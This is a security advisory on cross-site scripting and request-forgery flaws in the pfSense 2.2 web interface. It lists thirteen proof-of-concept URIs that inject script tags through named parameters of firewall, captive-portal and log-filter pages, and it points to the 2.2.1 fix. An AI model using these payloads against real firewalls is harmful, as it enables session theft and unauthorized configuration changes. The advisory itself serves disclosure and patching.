pfSense Cross Site Scripting and Cross Site Request Forgery Vulnerabilities

Bugtraq ID:	73344
Class:	Input Validation Error
CVE:	CVE-2015-2294 CVE-2015-2295
Remote:	Yes
Local:	No
Published:	Mar 25 2015 12:00AM
Updated:	Mar 25 2015 12:00AM
Credit:	High-Tech Bridge
Vulnerable:	Bsdperimeter pfSense 2.2
Not Vulnerable:	Bsdperimeter pfSense 2.2.1

pfSense Cross Site Scripting and Cross Site Request Forgery Vulnerabilities

pfSense is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.

An attacker may exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, and disclose or modify sensitive information. Other attacks may also be possible.

pfSense 2.2 is vulnerable; other versions may also be affected.

pfSense Cross Site Scripting and Cross Site Request Forgery Vulnerabilities

To exploit these issues an attacker must entice an unsuspecting victim into following a malicious URI or visiting a malicious website.

The following example URIs are available:

https://www.example.com/status_captiveportal.php?zone=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/firewall_rules.php?undodrag=1&dragtable=&if=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/firewall_rules.php?if=wan&undodrag=1&dragtable%5B%5D=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/firewall_shaper.php?interface=wan&action=add&queue=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/services_unbound_acls.php?act=edit&id=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_time=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_sourceport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationipaddress=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_interfaces=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_destinationport=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_protocolflags=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E
https://www.example.com/diag_logs_filter.php?filterlogentries_submit=1&filterlogentries_qty=%27%22%3E%3Cscript%3Ealert%28%27ImmuniWeb%27%29;%3C/script%3E

pfSense Cross Site Scripting and Cross Site Request Forgery Vulnerabilities

Solution:
Updates are available. Please see the references or vendor advisory for more information.

pfSense Cross Site Scripting and Cross Site Request Forgery Vulnerabilities

References:

• 2.2.1 RELEASE Now Available (BSD Perimeter LLC )
  
• Arbitrary file deletion and multiple XSS vulnerabilities in pfSense (High-Tech Bridge)
  
• Arbitrary file deletion vulnerability in the pfSense WebGUI (BSD Perimeter LLC)
  
• Multiple XSS Vulnerabilities in the pfSense WebGUI (BSD Perimeter LLC)
  
• pfSense Homepage (BSD Perimeter LLC )